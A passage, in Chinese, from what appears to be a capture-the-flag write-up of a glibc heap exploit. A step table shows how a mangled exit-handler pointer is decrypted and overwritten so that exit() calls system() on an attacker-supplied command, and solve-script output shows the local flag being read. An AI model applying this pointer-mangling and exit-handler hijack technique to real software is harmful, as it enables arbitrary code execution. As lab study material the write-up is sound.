| 6 | 展开走到尽头,取强制展开函数指针(libc+0x1EB2C8),按 ROR64(stored,17) ^ guard 解密——用的是写 1 换过的钥匙 → 解出 exit → 调用 exit() | 写 4 + 写 1 |
| 7 | exit() 从初始函数表(libc+0x1E5160)开始遍历退出函数表;第一项 fns[0] 的 flavor 是 ef_cxa,调用形式 fn(arg, status) | — |
| 8 | 取 fns[0].fn(libc+0x1E5178)解密 → system;取 fns[0].arg(libc+0x1E5180)= 命令串地址 | 写 2 + 写 1 + 写 3 |
| 9 | 调用 system(命令串)——多传的”退出码”参数被调用约定忽略 | 写 1 附带(命令串本体) |
| 10 | system:fork + execve /bin/sh -c "cat /tmp/ec/flag.txt > /tmp/ec/out.txt"——flag 此刻被读出写进文件;sh 退出、system 返回 | — |
| 11 | exit 继续走完收尾,进程终止(退出码 176)——命令早已执行完 | — |
| 12 | 客户端连出第二条连接——连不上恰是”进程正在退出”的证据(一条理论就够,第二条做保险) | — |
最后可以得到:
$ python3 solve_local.py NOSSL CMD="cat /tmp/ec/flag.txt > /tmp/ec/out.txt 2>&1"
... 六个 arena 依次: leak → pivot → smash → 假top → remainder 写入 全部成功 ← 六写完成
[*] triggering main-thread cancellation through accept
[+] Opening connection to 127.0.0.1:9999: Done ← 步骤 1-3:第一条连接唤醒 accept
[ERROR] Could not connect to 127.0.0.1:9999 ← 步骤 12:第二条连不上=进程已在退出(步骤 4-11 正在走)
[+] local challenge exited after RCE trigger: 176 ← 步骤 11:命令已执行完,进程终止
[*] rce proof point: libc=0x73add817b000 ... command_addr=0x73adc0002001
$ cat /tmp/ec/out.txt
flag{local_rce_verified_20261019} ← 步骤 10 的产物

